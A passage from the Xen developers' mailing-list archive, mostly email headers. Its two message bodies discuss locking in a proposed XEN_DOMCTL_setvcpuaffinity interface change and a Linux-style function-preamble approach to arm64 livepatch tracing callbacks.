         yeDg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782913716; x=1783518516;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=FZJ7FVfbTz+w5KSCQNEAopHFenppAWwmNKWbesF+99g=;
        b=nJViyERRfG0ySt5QFu5Ehzd17BOFXoWrc1hs56MtyWEjyow6H7ryxP9mrdlV00pPr8
         zoE7hThnb0JRbmBnjLIndeMxlPzA+cjL21sBtzirXzkSyE6HTm0PiDatIZK60GXlZ7NO
         b66OvMuqdLAEGsbGHBr14ioPeo0pvgQMEmGlDdwwq5HVo6OZm4w5RS+8JhNMEhZIV1Es
         RRzqHkZsZxClmLph5aw/gwRixIPCfawmAHzwMXw8dS1GrMq7Y0ci6EnmQQQUOljkGhDq
         E/G2Yiz2SYNikpBUdpq5Eo4zeX+Oi0KxEB1x/jmoqLFCT3ZPrbjv2IyRNflgEcVGYqHM
         09lw==
X-Forwarded-Encrypted: i=1; AFNElJ/03R8LOymGd+iDzy+O8REA+rJem8ERJLcoQvZeJpu9KfduHwimuTd0aemH9PgJELbqzrgLpVBos9s=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyCNDw+oi30emjFHH7me8b8s2L7E1GQ9wooIFS6VZYzkEvxd+aD
	eabc8d6eirmg8KMHAXk07HmqudgJXDW9PT/WNMI2xOVc9rSjmiMcQFYUKcbZANt+sg==
X-Gm-Gg: AfdE7cnYPQ91jG6EYP2r31ZW07EDxNaCfrsBsniksEmRTL0iPAOCVFIgFQU8nFuD7q0
	jjhPZqFTjXBN1X/bMdoe+e+lDJS8oo5yxKOz+3wBeCNuraxTKBfK/bBZAQEb1+6GzZvidzoj6+c
	nTKbFCBd++ZWRI1mDllw21FnfY9igblO06SaEHMvHnpma2qwFrJUD+SI7UQDhBCQ1OGdAzYY1F7
	Vy383Mi/j5fg3h2emYFNn0qZNh/l7wHZnUVb3MoWwWB7xwDzVMQMXyEMioR70K2eWF1XdLUryWT
	nOFPsnz5j1HO7g1syYYsdPfwMry2iVTZHVYBL44YNwetXQhQT8CrXVPz6W9o2UHn0i4r5GqJaOC
	CAIYrZwCF3/r8Zssrdo9FKjbW5hGfi9LN/upLq2JqjA8k+sPP5SUYzwnGdyf3CSwUlVypvRWuOg
	ZJWu9WNyklhCjMXG5JfNQb9Qv6wtjww9j8fvaRFA8LRF0dCgXlGlIXeXqSJc4XOzAn0NFsK7aVV
	M6q
X-Received: by 2002:a05:600c:c093:b0:493:bb4d:4dfe with SMTP id 5b1f17b1804b1-493c3cf0d10mr11006325e9.23.1782913716355;
        Wed, 01 Jul 2026 06:48:36 -0700 (PDT)
Message-ID: <ff6cf07f-bc82-41d2-8a14-80cdcea54af1@suse.com>
Date: Wed, 1 Jul 2026 15:48:35 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
To: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
 <f4623033-ec0f-4b91-8443-724701c79f37@suse.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC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3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <f4623033-ec0f-4b91-8443-724701c79f37@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1782913716-14B012B8-335149DC/0/0
X-purgate-type: clean
X-purgate-size: 1672

On 01.07.2026 15:08, JÃ¼rgen GroÃŸ wrote:
> On 01.07.26 13:39, Jan Beulich wrote:
>> On 01.07.2026 13:16, Juergen Gross wrote:
>>> Today the XEN_DOMCTL_setvcpuaffinity hypercall will not only change the
>>> affinity settings of a vcpu, it will return the new effective settings,
>>> too.
>>>
>>> In case an error happens during this hypercall, the expectation of the
>>> caller is that the affinity of the vcpu didn't change. This isn't true,
>>> however, if passing the new effective affinity back to the user is
>>> failing.
>>
>> That'll be the caller's fault though. Any -EFAULT coming back are an
>> indication that the caller needs fixing.
>>
>>> Instead of making error handling in the hypervisor even more complex,
>>> just change the interface by NOT passing back the new affinity. It can
>>> easily be obtained by another XEN_DOMCTL_getvcpuaffinity call if
>>> needed.
>>
>> At the expense of further increasing the pressure on the domctl lock.
>> When making the recent error code change in this area, I was actually
>> wondering in how far these two sub-ops might also be candidates for
>> moving out of the locked region. Yet with vcpu_affinity_domctl() not
>> using any locking that didn't look entirely straightforward to answer.
> 
> The calling hierarchy for the XEN_DOMCTL_setvcpuaffinity case is:
> 
> vcpu_affinity_domctl()
>    vcpu_set_hard_affinity()
>      vcpu_set_affinity()
>    vcpu_set_affinity()
> 
> vcpu_set_affinity() does the correct locking (takes the unit lock).

But that's not sufficient: The two involved vcpu_set_affinity() calls
want to stay together, i.e. not race with another domctl.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 13:51:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 13:51:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349980.1607563 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wevLJ-0006mL-QO; Wed, 01 Jul 2026 13:51:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349980.1607563; Wed, 01 Jul 2026 13:51:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wevLJ-0006mE-NZ; Wed, 01 Jul 2026 13:51:09 +0000
Received: by outflank-mailman (input) for mailman id 1349980;
 Wed, 01 Jul 2026 13:51:08 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1wevLI-0006m8-F1
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:51:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wevLH-008vKN-K2
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:51:07 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <roger.pau@citrix.com>)
 id 6a451b47-5cb7-0a2a0a5109dd-0a2a450ba0ae-24
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:51:07 +0200
Received: from [52.101.57.61]
 (helo=BN8PR05CU002.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <roger.pau@citrix.com>)
 id 6a451b49-ac48-0a2a450b0019-3465393d69cf-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:51:07 +0200
Received: from CH7PR03MB7860.namprd03.prod.outlook.com (2603:10b6:610:24e::14)
 by SA1PR03MB8120.namprd03.prod.outlook.com (2603:10b6:806:45a::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 1 Jul 2026
 13:51:03 +0000
Received: from CH7PR03MB7860.namprd03.prod.outlook.com
 ([fe80::f5ba:35df:1c9f:b343]) by CH7PR03MB7860.namprd03.prod.outlook.com
 ([fe80::f5ba:35df:1c9f:b343%4]) with mapi id 15.21.0181.008; Wed, 1 Jul 2026
 13:51:03 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=oR7vbjoLDE55bkscEN2SWhuDBR6tLMevZYgh2NVYlPh/e05AG+OcR+HCjEPc22IS9cDgpVxAOGTrlJwGSi6g9kDPWYoNKDpMVwX1PB0KQzV/e0Dk/xrRZtnhLsAiJauf1wXh3VdFxx9gQ+CfQ5PYOkOkMaadPaN49WRXeMRVLIT741NPCiE/kxME9JpXZiyf+MnzxlRm2xEeX7qDdqz50/8PHYksHQ+dhiCZncroasyugzjY60azbaJGvlMWB0gC/ctvyjqe0iWRPjEaxPbMNaeglaB2bwRL2JYeBmIGj8TKixFmoriGjaZqDn+wWyWq/Bjlg2IMuHn1TCp3DV1okw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=DeFYD1itcvvrOkUoVVS10szFH4+dabBDBCG+OcqW+/I=;
 b=SqRBDmh5mr2NQ/KITe0aDb5ufrFkh7qEPWOOIMJlF69jp8E+/Olvd73ZvNeWHYM3Mg1F/aH1Obc0S3oxgpiuQW85OiJb7MjyNHk1XiJCUT/AdjLqjbuG3uZvowQJAOEq3KH2mlCWPGv9AXUFp4lp5K0hdQJOW86F+hpZH+GSZrJz3gvmekcHHFr9/I/0QK2g9Cx5TUpa5wOJ59WzraJT4KnQMiwvWx2mD6aAakypk4NSLn5EYxyG9AaRTw3F8S2ENj5MoWJTjLn8Sn/0wyrzkSEwGbJHH4d09PbjTr65q/Ca2yL3axs3LxNk41RGA7yom96kzhds/an4VmjScGczBQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=DeFYD1itcvvrOkUoVVS10szFH4+dabBDBCG+OcqW+/I=;
 b=AF+eaWzJQ6aXozJd6G21R0z7I0O3JfO6FZJKV8EolNlvF1OE5mWlFSsfgks0UU0wW5Unat3iaQ0VKoUmvoAxku4b/56if15kEfwa7DXc/cA5EPWxBFy1HBnHCdXcLmyLVNSEx33Z+P/z1pSzoN3En1f8aig9GrtpohMiGOKneZA=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Date: Wed, 1 Jul 2026 15:50:59 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Ryo Takakura <takakura@valinux.co.jp>
Cc: andrew.cooper3@citrix.com, xen-devel@lists.xenproject.org,
	ross.lagerwall@citrix.com, sstabellini@kernel.org, julien@xen.org,
	bertrand.marquis@arm.com, michal.orzel@amd.com,
	Volodymyr_Babchuk@epam.com, anthony.perard@vates.tech,
	jbeulich@suse.com, taka@valinux.co.jp, den@valinux.co.jp
Subject: Re: [RFC] xen/arm64: livepatch: enable attaching callbacks
Message-ID: <akUbQyNy-Rj1oOkJ@macbook.local>
References: <akOCgoqbGhZbjcQx@macbook.local>
 <20260701090908.15204-1-takakura@valinux.co.jp>
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20260701090908.15204-1-takakura@valinux.co.jp>
X-ClientProxiedBy: MR1P264CA0144.FRAP264.PROD.OUTLOOK.COM
 (2603:10a6:501:51::8) To CH7PR03MB7860.namprd03.prod.outlook.com
 (2603:10b6:610:24e::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH7PR03MB7860:EE_|SA1PR03MB8120:EE_
X-MS-Office365-Filtering-Correlation-Id: 34c2f12c-37fa-4587-9dc6-08ded777ca77
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|376014|7416014|1800799024|23010399003|22082099003|18002099003|6133799003|3023799007|5023799004|11063799006|56012099006|4143699003;
X-Microsoft-Antispam-Message-Info:
	w+tTTEZZHxxx6RNU7TZCCWefMOlamR2//8fFurf7bKsgq976e064Gd9QHzpDv0bddFp0yJztDNfRDmGGf0G7qzTDbnD0BxJB3NZy9A7KW76fNwtSRLVqydZXhemDyDOxppFXSeL7D3itUHWfa9xd+cLMxgtHCl6r1EHJlM05XynAN4v6mL+hPLryx7z1xbPyyEj0dTFwCQ2SR5Q8LYU9/ReWvC1sNxdixCeIG+zW4Z8zvmKQbxXqGQxFqTK0ki6ycEqyRfIKLLgtKUwd1oX/sZvkfrhrlCCPf6ZmdgOilMNUkGTZjJbabu/DCNuFKcDVzYsjIJ9Vtm74tODKTb5Dmdt5QOjAh3OeMszNxOAjh7vXByFuVNzC8rZIUMVKKLQrrm3wHDncKb6aPlfBv2siWVs97DTUW8i1BHNoa4J55tbIyy4cuQ78FzV7LLC+PEH246KOjDn9TSHzRjNFlbnNOYLc0BiCE1kDZ+gyPr0GpXyoe2NaACUIzBSqNfasRK8CqWYM1A/hrYxyyR+XQSdpnfcPaVAqIfgDrhh81C4oM7jbZPFgefGpbm1ZhJX13TgeuQnuBWqf0fYT2pjbAHDMiMF/nRDYiAoXBhPbWAKgHeE/gJcgRy5uTDrVrLPd/t9PG7tI9F754dfE3cRxvIw/M3fejS4aCiQAvixzF4S5Qjk=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH7PR03MB7860.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(376014)(7416014)(1800799024)(23010399003)(22082099003)(18002099003)(6133799003)(3023799007)(5023799004)(11063799006)(56012099006)(4143699003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?dG8vMEpweHpVQXd3UVNoaXVFZ3Btbjh2SURWSWMrSjRaekU2Y2diOWhTWDVU?=
 =?utf-8?B?dDM0T2JsZm1yUmNOV0E2eUhlaWNjSThNaGYyeFJCb2lINTFHTVRuQnZmcEVO?=
 =?utf-8?B?N3RQMkpFYnNNRG1hejJVNWdGeS9pWEZvSjF1Y0l1K3ZvNWdhY0VGb3hGWTdL?=
 =?utf-8?B?RzRLaU9BNDhYV0hrclhVamtsellBTURzREd1bDUxODkydEtydEc1T0VHRjZ1?=
 =?utf-8?B?V0lzbXpNS3lYb3UvQnh4cFp3aUswZTBMSFlhRFhSWitYOGlGWGd5Um1obUdK?=
 =?utf-8?B?VzJLdDkrejZ4bmlybVkvTitBWXY5dFR4SEZOdmV6WHNCd0NtNjMwTk9weElD?=
 =?utf-8?B?UFYxSExpUUU3Y0twUVpZSFJiMGNHd2dnREROMG4raStEUWxsMGdZVmEybzVH?=
 =?utf-8?B?T2Q0VTRzVHpiWlQ3UTRIV0FSYk4rMGpIbmtPdEYvemtubkRLREwvaktIL2VB?=
 =?utf-8?B?cUQ0bUdFdjhiZ0Z4bWt1TmpFbzA5d1FLZ1c5VzByZktaQXJlSUgrMUM5UFg2?=
 =?utf-8?B?K1lhdjdYRVFKUCs3Z2JkSkRRYjVEVGM0bUZaQnREV0oydXprb3VRT1Fleitx?=
 =?utf-8?B?UWw2RldneUtOVmJwWmpQTVljbnZIdmJVUFN6VzROWjJ5MDRRVWtsb0VWaW1G?=
 =?utf-8?B?N05zU0VOK0JCQ0g2angwaVpyVXd1UG1HaSt6ZVdNd250TkUxR3JrVmRWcE5v?=
 =?utf-8?B?SFl2SXdrc3MwdzFiMDBkeG9kU1F1WXBCWWZ3aDc5LzJ6dXFPWTYyYjhvTDRC?=
 =?ut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bkZCZVM4bllYeEd4QzJ2emNGU0pxcXBnSUMxcUxz?=
 =?utf-8?B?cTRUK0E5ZGdlMS9hWlpKbU9ZY3lqKy93WTVaSDRwN2w0WndxNU1JRTFwNkVr?=
 =?utf-8?B?dVREZ0VHZ0YwVnM3eUhaeGJTRTl2RjQ4SmVXQXhmamgvMnVnek9Sb1VBdGdZ?=
 =?utf-8?B?ellzNDk4TlFvcllOS1Jma0g5YSsvcU9ZMmNTSWRYOGYyNzhpdTkzR0NXNmg5?=
 =?utf-8?B?SlZFdDVCeGdUdUZ2SUw5NitzYTZPa0pwVWFFcmp4TWxGcW14cXdZUjQ2UDB2?=
 =?utf-8?B?QStvbzYxSVhrZ1pOcHoxeElqRjFVTjBmdnBpc1JMSFpzMlVnSVpXTFRkRGRm?=
 =?utf-8?B?dTB6d3V0K1RPQ1NMZC9xSWZmVldxbzBJWk4wc1NIOTUxRDhyL290WjdLelpX?=
 =?utf-8?B?bmpiTEZaZ1p3d084OHNsZFVWdU5ySWhIZWhjUWVIdHVRamlJVTlYK21UNUNi?=
 =?utf-8?B?aW1paWtBR2RkaldLZjQ5elo0VWVCWkx0ZzhmZDBUSFlxTHFLalB2ZTlGdCtQ?=
 =?utf-8?B?L2xmREttK3JSWk9HWTVibjcxOWdENzdBSDRBdkFuZU02eHBKMytSU29UczN6?=
 =?utf-8?B?bUd2ZVVnRDZkVFlQZkNNaktqRXlPaS8yeEJ1L24rT1RLSFhpeHNXQ21tSjFo?=
 =?utf-8?B?UmI2ZG9uV09yYzR2TXM4VUFDZFZlNmdCTzRJMGltaWJuQ2FyOTlSZz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 34c2f12c-37fa-4587-9dc6-08ded777ca77
X-MS-Exchange-CrossTenant-AuthSource: CH7PR03MB7860.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 01 Jul 2026 13:51:03.2481
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: Ddo1rZeHbuFoxkclOtiRDvj6jo3JPk6CCHWgifMc7dnzZUSuE3FpsuCQkl12F/iFB5BH9mhEMMIxBfLZHzaysA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA1PR03MB8120
X-purgate-ID: tlsNG-42698a/1782913867-A7F36220-668E85D5/0/0
X-purgate-type: clean
X-purgate-size: 3118

On Wed, Jul 01, 2026 at 06:09:08PM +0900, Ryo Takakura wrote:
> Hi Roger and Andrew,
> 
> On Tue, 30 Jun 2026 08:47:14 +0000, Roger Pau MonnÃ© wrote:
> >On Mon, Jun 29, 2026 at 11:01:28AM +0900, Ryo Takakura wrote:
> >> Linux ftrace allows registering callbacks which is useful
> >> for debugging and tracing events. On Linux, it is done by
> >> reserving function entry points at compile time which can
> >> later be patched to branch to a trampoline.
> >> 
> >> This patch implements similar callback feature, but with
> >> different approach using existing livepatch infrastructure.
> >> Instead of reserving function entry points at compile time,
> >> the traced function will be livepatched so that it branches
> >> to the trampoline.
> >
> >While this is an interesting usage of the livepatch logic in new ways,
> >may I ask why not do as Linux and add an empty function preamble that
> >can be replaced at run-time with calls to hooks?
> >
> >You could still re-use most of the livepatch logic for handling the
> >addition of the hook calls, but it would be nicer in that we won't
> >need to move the original function.
> 
> I agree that we can reuse a lot of livepatch logic.
> 
> >> The role of the trampoline(illustrated below) is to preserve
> >> the context while jumping to the tracer function, and return
> >> back to the traced function with its context restored.
> >
> >Alternatively - why not use livepatch-build-tools against a build with
> >the added hooks to generate a proper livepatch?  This looks a bit
> >fragile to me (see the question from Andrew about fixing up
> >instruction pointer relative references).
> 
> Yes, I think proper livepatching would still be preferred
> given all the concerns Andrew and Roger raised.
> 
> >On x86 at least we would also need to adjust the bug frames and
> >exception table contents, and the contents of the symbol table to
> >account for the function being moved.
> >
> >IOW: it looks like overall this is a lot more work than possibly
> >reserving a function preamble to add hook calls?
> 
> Yes, I agree.
> (I wasn't aware of this additional work when I replied
> to Andrew yesterday, thanks!)
> 
> And if I were to summarize the discussion so far, assuming we
> still want to add a tracing-feature, I think we are in agreement
> adding an empty function preamble like Linux.
> (I personally would still like to see a framework on Xen
> that is more convenient and tracing-friendly which can be used
> reliably at the same time)
> 
> If this sounds reasonable, I will try preparing one based on
> the feedbacks I was given so far:
> - Use of Linux-like reserved function preamble
> - Use of __attribute__((no_caller_saved_registers))
> - Split replacement and preamble-hook handling in common code
> 
> Let me know your thoughts!

I think the above approach is easier to implement, and more reliable
than the current proposal.

Do you also have the intention to integrate this with existing tracing
tools used by Linux or other OSes?  That would be very useful IMO.

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 13:52:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 13:52:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349989.1607573 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wevMi-0007I8-4H; Wed, 01 Jul 2026 13:52:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349989.1607573; Wed, 01 Jul 2026 13:52:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wevMi-0007I1-0D; Wed, 01 Jul 2026 13:52:36 +0000
Received: by outflank-mailman (input) for mailman id 1349989;
 Wed, 01 Jul 2026 13:52:34 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wevMg-0007Hs-SP
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:52:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wevMg-00B58B-5Z
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:52:34 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a451b9f-2eae-0a2a0a5409dd-0a2a45088f56-6
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:52:34 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a451ba1-edec-0a2a45080019-d155dd2ef026-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:52:33 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-4763b0c1dcdso798018f8f.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 06:52:33 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-4756636ce7esm18672970f8f.23.2026.07.01.06.52.32
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Wed, 01 Jul 2026 06:52:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1782913953; x=1783518753; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=xl3e4suKSPl7CWk+sb8bPatN3ANB8eUSjC46flYftEE=;
        b=DknmK2MOxsjafHEumZJq0pswxDGKZal8eKAmaAM6Kh+0PPVO8c+VKgALVXbT3Kjx+3
         UkoO5E+XfDUsdt4jCTEAK/nA3YyRYzWHcRPP9WYWXc9rWRzEB8ijM5+FXR9WIzjxG5wU
         Qn4mWx2Um0+nx0w1uFYdm7upvJtPrftqqrSIY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782913953; x=1783518753;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=xl3e4suKSPl7CWk+sb8bPatN3ANB8eUSjC46flYftEE=;
        b=DipnSc9Mz/vVvPnMj/QpRqmaUAWIh+v1g0J4CaeDmRKc1+lDglYVdFVAF0pgcX0szP
         5ugHrHrZa4BRriAeOA+Jbuvjy29FEgR8XCXZXr5KrBDZif1+aAW/x2rgpx77KxDbPysR
         tE2trzBFoTjTOon4JRe57g3AKISIQjqBFI9tFupAqEJt0ut1uAoCko9phKs938jILWLJ
         Ugo9ax11HEZzwANh65G+809TmuNbHsSU4sR0mwaf3tPEcxmLCFZVLB5EysO0Ij1bs538
         zMPp2015B8v1cf4dv+txeZ0gae0/9TzLQi3amhowVnwocVnmfUMWOJZPNsbHYYS2BUdb
         LDAQ==
X-Gm-Message-State: AOJu0Yy7JsPgpWEWZM8HMimZv4reNnLEc86KDQBA4luE/7chSPwNQiyx
	FSxjuBTXAkWOvIWFxz0hcecAjtmxnUrvJgt9gBl7Uncp46gTeTgnMK85CEfwY9bDT+FG1G4nFiA
	NAQB1
X-Gm-Gg: AfdE7cm1A2pEIVp1KfLTg26BeFk4DReA8wBmxoi/fG5t8kHo/T88Wnje93SGDqEqzuH
	HhXt7JpQa/FYlS5/y0u+T9YsDg1N9nfbs1tFbefUtlOiSBndHUp9y0Gl5N1r62FK8psziU0Pnyr
	6YTFBpN3jYjFLTSf2OrmkGxx4Izc6cYT99k9wf9jk4D9bHjxL3E1PPA2a3lNWnzi6UQs/KlwHJw
	sR60CFD2ZsCGwhqMGySKOzC2joYUEHDIQJK900IyUw1h06EcUAO+xdq7yqyGvbTFiBUBQCCz+5g
	NeVtnBD5rqV8jYO9JAJyWKParS/OTYdGrJC2iXG7sY2awa9JYBq2m4fXOe3jENhqSFSCyLAfIT9
	KmjT1t2ZAQw8DLJ2p3KfvLTmye+IeRYF9nnYY+jXJl5SwFFBMrt7pRJcT+W+1Swz2Z/4eOS1RRD
